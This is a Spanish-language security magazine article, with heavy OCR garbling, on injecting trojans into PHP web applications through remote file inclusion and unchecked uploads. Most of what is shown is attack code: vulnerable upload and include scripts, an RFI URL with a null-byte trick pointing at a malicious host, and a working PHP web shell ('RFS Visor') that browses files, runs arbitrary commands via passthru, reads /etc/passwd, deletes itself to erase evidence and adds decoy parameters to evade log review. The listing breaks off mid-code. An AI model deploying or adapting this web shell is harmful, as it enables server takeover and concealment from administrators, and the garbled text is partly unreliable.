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Ataque

Hace ya m§s de una d®cada apareci· la 
tendencia generalizada del abandono de 
las aplicaciones que se ejecutaban en 

entornos mainframes y a las que acced²an clien-
tes ligeros a favor del software cliente, encargado 
de la ejecuci·n de la mayor parte de la l·gica de 
la aplicaci·n y que acced²a a un servidor de 
almacenamiento, generalmente una base de da-
tos, en la cual se centralizaba la informaci·n.

En estos ¼ltimos a¶os, la arquitectura de 
software, dado el abaratamiento de los costes 
de hardware, est§ tendiendo a la centralizaci·n 
de la l·gica de negocio en las aplicaciones hacia 
servidores de aplicaciones, y la reconversi·n de 
los equipos inform§ticos de cliente en terminales 
que solo pueden acceder al mencionado servi-
dor de aplicaciones. Sin embargo, esta ¼ltima 
tendencia de terminales tontos parece haber 
encontrado una fuerte ventaja en el uso de nave-
gadores Web para el acceso a las aplicaciones 
remotas, y en el protocolo HTTP como protocolo 
de aplicaci·n ideal, que permite  acceso remoto 
a los usuarios de forma sencilla y desinhibida.

Con la bajada de los precios de los ser-
vicios de comunicaci·n y acceso a datos por 
parte de las operadoras, Internet es ya una 
realidad de amplio alcance social, y por tanto 

reduce el rechazo que de forma impl²cita mues-
tra el usuario ante nuevos aplicativos.

Adem§s, las actualizaciones de una versi·n 
de software se lleva a cabo de forma centrali-
zada, no teniendo la necesidad imperiosa de 
instalar la misma aplicaci·n en cada sistema 
cliente, reduciendo los costes de mantenimien-
to y facilitando la implementaci·n de aplicacio-
nes incompletas, dado que su actualizaci·n ya 
no resulta tan delicada como en arquitecturas 
anteriores.

Inyecci·n de Troyanos 
en aplicaciones Web

Luis Enrique Corredera de Colsa

Grado de diýcultad

Durante el transcurso de los ¼ltimos a¶os en la historia reciente 
de la inform§tica se ha experimentado una tendencia reactiva en 
cuanto al despliegue de aplicaciones inform§ticas se reýere.

En este art²culo aprender§s...
Å  El fundamento de las vulnerabilidades RFI,
Å  La anatom²a de un troyano Web b§sico,
Å  T®cnicas de ocultaci·n y detecci·n de troyanos 

Web,
Å  Fortalecer la conýguraci·n del servidor Web 

y las aplicaciones para evitar este problema.

Lo que deber²as saber...
Å  Programaci·n Web en PHP,
Å  Conocimientos generales de aplicaciones 

Web.
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La explosi·n de las necesidades 
del uso de herramientas inform§ti-
cas de gesti·n, la comunicaci·n y la 
promoci·n que se produjo durante la 
segunda mitada de la d®cada de los 
a¶os 90 proporcion· un panorama 
tecnol·gico d®bilmente formado, con 
una excesiva demanda de personal 
para la oferta existente, que termin· 
con personal no cualiýcado al cargo 
del desarrollo de aplicaciones de di-
versos tipos, incluidas las destinadas 
al comercio electr·nicos, empleando 
tecnolog²a v§lida para el momento, 
pero con una madurez muy cues-
tionable en aspectos de seguridad. 
Muchos han sido los art²culos que 
hacen referencia a errores t²picos de 
programaci·n en aplicaciones Web 
que incluyen vulnerabilidades XSS, 
SQL Injection, Session Hijacking, 
etc. Si bien parece que el desarrollo 
de aplicaciones seguras es algo que 
no ha despertado el inter®s de las 
universidades hasta un momento 
demasiado cercano en nuestra his-
toria, actualmente existen cursos de 
postgrado y m§sters que hacen hin-
capi® en estas cuestiones y en otros 
muchos aspectos que nos hacen 
pensar en un futuro no muy lejano 

Listado 1. Script vulnerable para subir ýcheros

<?

if ( ! isset($_POST['submit'])){

?>

<form enctype="multipart/form-data" action="upload.php" method="post">

Subir ýchero: <input name="userýle" type="ýle">

<input type="submit" name="submit" value="Subir ýchero">

</form>

<?

} else {

   if (is_uploaded_ýle($_FILES['userýle']['tmp_name'])) {

      copy($_FILES['userýle']['tmp_name'], "/Volumes/IOMEGA_HDD/luisenrique/

Sites/rfs/".$_FILES['userýle']['name']);

      echo "Archivo subido";

   } else {

   

   echo "Error al subir el ýchero";

   }

}

?>

Listado 2. script vulnerable que permite la ejecuci·n de c·digo 
arbitrario remoto

<?

   if (! isset($path)){

      $path="./";

   }

require($path."conýg.php");

?>

Figura 1. P§gina vulnerable ejecutando c·digo remoto
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m§s serio en cuanto a seguridad en 
este tipo de aplicativos.

Introducci·n
Entre las t²picas funcionalidades que 
podemos encontrar en las aplicacio-
nes Web tenemos por ejemplo la 
posibilidad de subir o adjuntar ýche-
ros que se presentar§n l·gicamente 
enlazados y accesibles dentro de la 
aplicaci·n para los usuarios.

Hoy d²a, tanto en aplicativos de 
gesti·n, como en herramientas de di-
fusi·n de contenidos o colaboraci·n, 
es raro no poder adjuntar una imagen 
a un elemento (por ejemplo una foto 
como avatar de un usuario, o un do-
cumento que ampl²e la informaci·n 
proporcionada en un comentario). 
Este incremento funcional que mejo-
ra la experiencia del usuario y hace 
posible el uso de aplicaciones que en 
otras ocasiones no hubieran sido po-
sibles, permite a un usuario mal inten-
cionado cargar en un servidor remoto 
una porci·n de c·digo arbitrario, y en 
ocasiones forzar su ejecuci·n con 
los privilegios con que se ejecuta el 
proceso servidor. Normalmente se 
suele denominar a esta t®cnica RFI 
(inclusi·n de ýcheros remotos).

En este art²culo revisaremos los 
siguientes aspectos:

Å  Localizaci·n y anatom²a de situa-
ciones que permiten la inyecci·n 
de c·digo,

Å  Deýnici·n funcional e implementa-
ci·n de un troyano b§sico que nos 
permita trabajar con el sistema de 
archivos y realizar operaciones con 
procesos dentro de un servidor re-
moto de forma no autorizada,

Å  Aproximaci·n a la detecci·n 
y ocultaci·n del c·digo malicioso,

Å  Conýguraci·n que ayuda a evitar 
o mitigar el riesgo de RFI.

Dado que entre las tecnolog²as de 
desarrollo Web es muy com¼n el uso 
del lenguaje de programaci·n PHP, el 
c·digo y los ejemplos que desarrolle-
mos son f§cilmente portables a otros 
lenguajes de programaci·n Web. Lo 
importante es entender el concepto, 
y el lenguaje PHP es es una aproxi-
maci·n muy v§lida para ello.

Listado 3. C·digo php de la versi·n b§sica de RFS Visor.

<?
  if((isset($accion)) && ($accion=="muestra")){
     echo htmlentities(readýle("$ýchero"));
     die();
  } else {
?>
<html>
<head>
<title>RFS Visor v.0.1</title>
<style>
A:link { color: yellow }
A:visited { color: red }
A:active { color: lime }
td { background-color: #0707B0 }
</style>
</head>
<body text="#FFFFFF" bgcolor="#030370" >
<div align="center">
<p><strong>RFS Visor v.0.1</strong></p>
<table border="0" width="100%" cellpadding="0" cellspacing="0">
<tr>
   <td width="20%" valign="top">
      <h1>Opciones</h1>
      <a href="execute.php" target="_blank">Ejecutar Comando</a><br>
      <a href="<?PHP_SELF?>">Volver al inicio</a><br>
   </td>
   <td width="60%" valign="top">
      <?php
         if(! isset($dir)) $dir=getcwd()."/";
         else {
            chdir($dir);
            $dir=getcwd()."/";
            }
         echo "<h1>Contenido de $dir</h1>";
         $handle=opendir($dir);
         echo "Directory handle: $handle\n";
         echo "<br>Contenidos:\n";
         echo '<table border="1" with="100%" valign="top" >';
         echo '<tr><th>Acci&oacute;n</th><th>objetivo</th></tr>' ;
         while ($ýle = readdir($handle)) {
            echo "<tr>";
            $ruta=$dir.$ýle;
            if(is_dir($ruta)) {
               $ruta=$ruta."/";
               echo "<td><a href=listado_basico.php?dir=$ruta>Navegar </a>\n 

</td>";
               }
               else if(is_ýle($ruta)) {
               echo "<td><a href=listado_basico.php?accion=muestra&ýchero=$r

uta>Mostrar </a>\n </td>";
               }
            echo "<td>$ýle</td>";
         echo "</tr>";
         }
         echo '</table>';
         closedir($handle);
      ?>
   </td>
</tr>
<tr><td colspan="3">&nbsp;</td></tr>
</table>
</form>
</div>
</body>
</html>
<?
       } // ýn del else para navegar
?>
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Localizaci·n y anatom²a 
de situaciones que 
permiten la inyecci·n 
de c·digo
El primer aspecto que debemos de-
terminar para conocer si una aplica-
ci·n es susceptible de ser vulnerable 
a RFI, es localizar los patrones de 
comportamiento que nos permitir§n 
realizar la  inyecci·n de c·digo.

T²picamente podemos distingui-
mos dos situaciones:

Å  Aplicaciones que permiten al usua-
rio incluir sus propios archivos que 
podr§n posteriormente descargar 
desde la propia aplicaci·n.

Å  Aplicaciones que incluyen frag-
mentos de c·digo de otros ýcheros 
(la inmensa mayor²a), descuidando 
la manera en la que se realiza la 
inclusi·n.

Para ilustrar el primero de los casos, 
imaginemos una aplicaci·n Web que 
deja adjuntar un archivo de imagen, 
mediante el c·digo mostrado en el 
Listado 1.

Este fragmento de c·digo es f§cil 
encontrarlo en muchas referencias 
Web como forma de subir archivos 
a un directorio usando el m®todo 
POST, e implementa cuanto menos, 
dos errores relevantes para el objeti-
vo de nuestro estudio:

Å  No comprueba la extensi·n del 
archivo subido: lo que nos permite 
introducir ýcheros con extensi·n 
PHP, que si podemos llamarlos 
desde nuestro navegador, podre-
mos ejecutar remotamente,

Å  Coloca los ýcheros en un directo-
rio p¼blicamente accesible /var/
www/uploads, con lo que apun-
tando nuestro navegador a http://
sitiodebil/uploads/nombreýchero, 
podremos invocar su ejecuci·n.

En el Listado 2 se ilustra otro t²pico 
error de programaci·n y conýgura-
ci·n del servidor, que permitir²a la 
ejecuci·n de c·digo php arbitrario.

En este caso, nuestro script 
vulnerable comprueba si se ha esta-
blecido el valor de la variable $path, 
que indica la localizaci·n en la que 

se encuentra la aplicaci·n dentro del 
servidor, y si no establecida, hace 
referencia al directorio actual. Est§ 

claro que, si la conýguraci·n del 
servidor permite la transposici·n de 
par§metros de las peticiones GET 

Figura 3. Ejecuci·n de comandos remotos v²a Web

Figura 2. Ejecuci·n del ejemplo b§sico RFS-Visor
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a variables, podr²amos modiýcar el 
valor de la variable $path, forzando 
la inclusi·n de un ýchero remoto, de 
esta forma:

http://sitiovulnerable/index.php?path=

   http://sitiomalicoso/ýchero_codigo

   _a _ejecutar%00

En este caso, todo el texto que tuvie-
ra dentro el ýchero_codigo_a_eje-
cutar, en el servidor remoto, ser²a 
cargado y procesado por PHP en 
el servidor sitiovulnerable. La idea 

de terminar la cadena con %00 
sirve para inyectar un car§cter nulo 
en una situaci·n de conveniencia, 
consiguiendo que no se interprete 
ning¼n contenido existente detr§s de 
nuestra cadena.

La prudencia en muchos casos 
invita a un atacante a no exponer 
el c·digo de su herramienta para 
gestionar servidores ajenos, y no 
intentar colar el c·digo malicioso al 
primer intento. Por tanto, es com¼n 
intentar ejecutar como c·digo inyec-
tado la funci·n phpinfo();, que nos 

proporciona una muestra detallada 
de toda la conýguraci·n del servidor 
Web. La Ilustraci·n 1muestra como 
a trav®s de la URL podemos inyectar 
el c·digo de esta funci·n, y su exito-
sa ejecuci·n.

Deýnici·n funcional 
de un Troyano Web
Dado que el §mbito de este art²culo es 
ilustrar el concepto de troyano Web, 
en este apartado vamos a desarrollar 
una sencilla utilidad que nos permita 
efectuar unas operaciones b§sicas 
con ýnalidad ilustrativa. Forma parte 
del trabajo personal del lector deýnir 
e implementar otras caracter²sticas 
que le parezca interesante, as² como 
portar las funcionalidades a otros 
lenguajes de programaci·n que pu-
dieran resultar de inter®s.

Como funcionalidades b§sicas, 
introduciremos las siguientes:

Å  Mostrar un listado de ýcheros 
y directorios,

Å  Permitir navegar a otros directo-
rios,

Å  Ejecuci·n de comandos arbitra-
rios y mostrar su salida,

Å  Mostrar el contenido de ýcheros 
de texto y binarios,

Å  Permitir borrarse a si mismo para 
eliminar las evidencias.

El Listado 3 muestra el c·digo ele-
mental de nuestra herramienta, que 
hemos llamado RFS Visor y que 
explicamos detalladamente:

La primera decisi·n que se toma 
en el c·digo es detectar si lo que 
queremos hacer es ver el contenido 
de un ýchero de texto, o bien lo que 
nos interesa es navegar por los con-
tenidos del directorio. La decisi·n se 
toma al detectar y validar la presen-
cia de un par§metro accion que indi-
ca que debe de mostrar un ýchero.

Mediante la funci·n opendir de 
PHP obtenemos un descriptor de 
directorio que, iterando sobre ®l, 
usando la funcion readdir, podemos 
conocer la relaci·n de ýcheros 
y directorios que se encuentran de-
bajo de ®l. Para distinguir el tipo de 
ýchero, y poder establecer el destino 
de nuestra navegaci·n futura, em-

Listado 4. Script para la ejecuci·n de comandos remotos

<form action="<?=$PHP_SELF?>" method="post">

Introduce el comando a ejecutar:

<br><input type="text" name="com" value="<?=$com?>"><input type="submit" 

name="send" value="ejecutar">

</form>

<? if(isset($com))

   {

   echo "<h1>Ejecucion del comando $com</h1>";
   echo '<pre style="background-color: silver">';
   echo passthru($com);
   echo "</pre>";
}?>

Listado 5. Extracto del access.log de apache

192.168.0.128 - - [26/Feb/2007:18:02:44 +0100] "GET /~luisenrique/rfs/

listado_basico.php HTTP/1.1" 200 2553

192.168.0.128 - - [26/Feb/2007:18:02:50 +0100] "GET /~luisenrique/

rfs/listado_basico.php?dir=/Volumes/IOMEGA_HDD/

luisenrique/Sites/rfs/evil/ HTTP/1.1" 200 1666

192.168.0.128 - - [26/Feb/2007:18:02:54 +0100] "GET /~luisenrique/

rfs/listado_basico.php?dir=/Volumes/IOMEGA_HDD/

luisenrique/Sites/rfs/evil/../ HTTP/1.1" 200 2553

192.168.0.128 - - [26/Feb/2007:18:02:56 +0100] "GET /~luisenrique/

rfs/listado_basico.php?dir=/Volumes/IOMEGA_HDD/

luisenrique/Sites/rfs/../ HTTP/1.1" 200 2885

192.168.0.128 - - [26/Feb/2007:18:03:00 +0100] "GET /~luisenrique/

rfs/listado_basico.php?dir=/Volumes/IOMEGA_HDD/

luisenrique/Sites/../ HTTP/1.1" 200 7111

192.168.0.128 - - [26/Feb/2007:18:03:07 +0100] "GET /~luisenrique/

rfs/listado_basico.php?dir=/Volumes/IOMEGA_HDD/

luisenrique/../ HTTP/1.1" 200 2361

192.168.0.128 - - [26/Feb/2007:18:03:08 +0100] "GET /~luisenrique/rfs/

listado_basico.php?dir=/Volumes/IOMEGA_HDD/../ HTTP/

1.1" 200 1914

192.168.0.128 - - [26/Feb/2007:18:03:11 +0100] "GET /~luisenrique/rfs/

listado_basico.php?dir=/Volumes/../ HTTP/1.1" 200 4345

192.168.0.128 - - [26/Feb/2007:18:03:21 +0100] "GET /~luisenrique/rfs/

listado_basico.php?dir=//etc/ HTTP/1.1" 200 11514
192.168.0.128 - - [26/Feb/2007:18:03:29 +0100] "GET /~luisenrique/rfs/

listado_basico.php?accion=muestra&ýchero=/private/etc/

passwd HTTP/1.1" 200 1948
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pleamos las funciones is_dir e is_ýle 
de php, que nos devuelven el valor 
booleano TRUE cuando el descriptor 
que ofrecemos es un directorio o un 
ýchero respectivamente. En funci·n 
del tipo de ýchero que tengamos, 
mostramos el enlace que nos per-
mite leer el ýchero ( ), o recorrer el 
directorio. La demuestra la ejecuci·n 
de esta versi·n b§sica de RFS Visor.

La ejecuci·n de comandos del 
sistema se delegar²a en otro frag-
mento de c·digo que, de igual forma 
que hemos desarrollado el listador-
visor de ýcheros, nos permite eje-
cutar comandos mediante la funci·n 
passthru de PHP. El Listado 4 y la Fi-
gura 3 muestra su comportamiento.

Este particular y peque¶o con-
junto de funcionalidades en nuestro 
script nos permite realizar una buena 
cantidad de acciones que un atacan-
te quisiera llevar a cabo, pero resulta 
engorroso tener que subir muchos 
fragmentos de ýcheros para hacer 
posible la realizaci·n de diferentes 
acciones. Por tanto, una caracter²s-
tica mejorable es incluir todas las 
funciones en un ýchero ¼nico, que 
discrimine las acciones a realizar 
mediante un par§metro.

Llegados a este punto, no va-
mos a explicar detalladamente la 
forma en que debemos trabajar 
para mostrar un ýchero binario que 
se encuentre en cualquier ubicaci·n 
del disco, aunque como ayuda indi-
camos la posibilidad de enviar las 
cabeceras necesarias con la funci·n 
header de PHP, y la posibilidad de 
pasar un ýchero entero a la salida 
con la funci·n fpassthru.

Finalmente, y para implementar la 
rutina de borrado del ýchero, necesi-
tamos saber que nuestro ýchero no 
puede borrarse a s² mismo (dado que 
®l mismo est§ en ejecuci·n en ese mo-
mento), por lo que podemos generar un 
ýchero que se encargue de esta tarea 
mediante la funci·n unlink de PHP 
y propiciando despu®s su ejecuci·n.

El alcance de esta t®cnica, y con 
el ejemplo aqu² presentado nos per-
mitir²a desde el hecho de abrir una 
shell remota, hasta tomar el control 
de todos los ýcheros que el servidor 
Web tenga acceso. En el caso de ser-

Listado 6a. C·digo RFS Visor 1.0 Completo

<?
/**************************************************
 Prueba de concepto: Troyano Web
 Autor: Luis Enrique Corredera de Colsa
 Fecha de creaci·n: 2004-02-03
 Fecha de actualizaci·n: 2007-02-26

 Descripci·n: aplicaci·n Web para gesti·n remota de ýcheros y procesos.
 
 Comentarios: El autor no se responsabiliza del uso indebido que pueda 

hacerse
    de este c·digo, ni de los fallos que ®ste pudiera contener.

 Informaci·n adicional: este script puede no funcionar correctamente bajo 
entornos Windows.

    En este caso, comentar las funciones posix_* del script.

****************************************************/
if(array_key_exists('accion',$_POST)){
   $accion = $_POST['accion'];
}
if(array_key_exists('ýchero',$_POST)){
   $ýchero = $_POST['ýchero'];
}
if(array_key_exists('dir',$_POST)){
   $dir = $_POST['dir'];
}

if((isset($accion)) && ($accion=="muestra")){
   echo "Contenido del ýchero <strong>".$ýchero."</strong><br />\n";
   //echo "<textarea rows=\"32\" cols=\"80\">";
   //echo readýle("$ýchero");
   echo ýle_get_contents("$ýchero");
   //echo "</textarea>";
   die();
} else if ((isset($accion)) && ($accion=="ejecuta")){
   echo "Resultado de la ejecucion del comando ".$ýchero."<br />";
   echo '<textarea style="background-color: silver" rows="32" cols="80">';
   echo passthru($ýchero);
   echo "</textarea>";
}
else if ((isset($accion)) && ($accion=="muestrab")){
   // open the ýle in a binary mode
   $path_parts = pathinfo($ýchero);
   $me = $_SERVER['PHP_SELF'];
   $me_parts = pathinfo($me);
   //if (!copy($ýchero, $me_parts["dirname"]."/".$path_parts["basename"].".".

$path_parts["extension"])) {
   if (!copy($ýchero, $path_parts["basename"])) {
      echo "failed to copy $ýle...<br />\n";
   } else {
      echo '<script>window.open(\''.$me_parts["dirname"]."/".$path_

parts["basename"].'\');</script>';
      echo '<a href="#" onclick="javascript:history.go(-1);">Volver</a>';
   }
}
else if ((isset($accion)) && ($accion=="borrar")){
   // open the ýle in a binary mode
   unlink($ýchero);
   echo '<a href="#" onclick="javascript:history.go(-1);">Volver</a>';
}
else if ((isset($accion)) && ($accion=="killme")) {
   $me = $_SERVER['PHP_SELF'];
   $me_parts = pathinfo($me);
   if (strpos($me,'?') > 0){
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vidores conýgurados de manera deý-
ciente, en que el usuario root ejecuta 
el servidor Web tendr²amos todos los 
privilegios posibles en el equipo.

Detecci·n y ocultaci·n 
de troyanos Web
Pong§monos en la piel del adminis-
trador del servidor Web, al que un 
usuario se le queja porque ocurren 
cosas extra¶as con sus ýcherosé El 
primer lugar donde ir²amos a buscar 
seguramente ser²a en el log del ser-
vidor (Listado 5).

Por muy despistados que sea-
mos, resultar§ inevitable encontrar 
algo extra¶o en los logs, que contie-
nen rutas completas de ýcheros de 
nuestro servidor.

Tres buenas formas de que dis-
pone un atacante para realizar una 
ocultaci·n en este sentido es tratar 
de asignar un nombre al script que no 
resulte llamativo y se mimetice con los 
nombres de otros ýcheros leg²timos, 
pasar los par§metros mediante el  
m®todo POST al script, y para que es-
ta repetici·n no sea algo demasiado 
evidente, generar unos par§metros 
t²picos tambi®n como elemento de 
distracci·n, que se pasen de forma 
aleatoria y parezcan tener sentido.

La versi·n completa de nuestro 
RFS, que implementa estas carac-
ter²sticas puede encontrarse en 
el Listado 6. Esta versi·n tambi®n 
incluye la obtenci·n de los permisos 
de los ýcheros y directorios, para ser 
conscientes de nuestras posibilida-
des, as² como el propietario (usuario 
y grupo) al que pertenecen.

De esta forma el log del servidor 
quedar²a reþejado como ilustra el 
Listado 7:

Siguiendo con nuestro papel de 
administradores de servidor Web, an-
te la petici·n incesante de intervenci·n 
por parte del usuario (y seguramente 
tambi®n en honor a nuestro amor pro-
pio), podemos recurrir a conýgurar una 
auditor²a mucho m§s estricta sobre lo 
que ocurre en nuestro sistema, para 
lo que podemos emplear el paquete 
snoopy logger (http://sourceforge.net/
projects/snoopylogger/), que reporta-
r§ toda actividad que se realiza en el 
sistema. No obstante, debemos ser 

Listado 6b. C·digo RFS Visor 1.0 Completo

      $me = substr($me,0,strpos($me,'?'));
   }

   $ýlename="bye.php";

   $somecontent = "<"."?"."unlink('".$me_parts["basename"]."');?".">";

   if (!$handle = fopen($ýlename, 'w')) {
      echo "Cannot open ýle ($ýlename)";
      exit;
   }

   if (fwrite($handle, $somecontent) === FALSE) {
      echo "Cannot write to ýle ($ýlename)";
      exit;
   }

   echo "Success, wrote ($somecontent) to ýle ($ýlename)";

   fclose($handle);

   //unlink($me);

   echo '<a href="bye.php">acabar</a>';
} else {
?>

<html>

<head>

<title>RFS Visor v.1.0</title>

<script language="javascript">

<!--

   function setAction(accion,destino){

      document.forms[0].dir.value=destino;

      document.forms[0].ýchero.value=destino;

      document.forms[0].accion.value=accion;

      document.forms[0].submit();

   }

-->

</script>

<style>

A:link { color: yellow }

A:visited { color: red }

A:active { color: lime }

td { background-color: #0707B0 }

</style>

</head>

<body text="#FFFFFF" bgcolor="#030370" >

<div align="center">

<p><strong>RFS Visor v.1.0</strong></p>

<table border="0" width="100%" cellpadding="0" cellspacing="0">

<tr>

   <td width="20%" valign="top">

      <h1>Opciones</h1>

      <form action="<?=$_SERVER['PHP_SELF']?>?idSection=<?echo rand(1,500);?
>&idSubsection=<?echo rand(1,500);?>" method="post">

      <input type="text" name="comando"><br />

      <input type="button" name="ejecutar" value="Ejecutar comando" 

onclick="javascript:setAction('ejecuta',document.forms

[0].comando.value);"><br />

      <input type="button" name="volver" value="Volver al inicio" 

onclick="javascript:window.location.replace('<?=$_

SERVER['PHP_SELF']?>');"><br />

      <input type="button" name="KillMe" value="KillMe" onclick="javascript:

setAction('killme','killme');">

<!--        <a href="execute.php" target="_blank">Ejecutar Comando</a><br>-->

<!--        <a href="<?=$_SERVER['PHP_SELF']?>">Volver al inicio</a><br> -->

   </td>

   <td width="60%" valign="top">






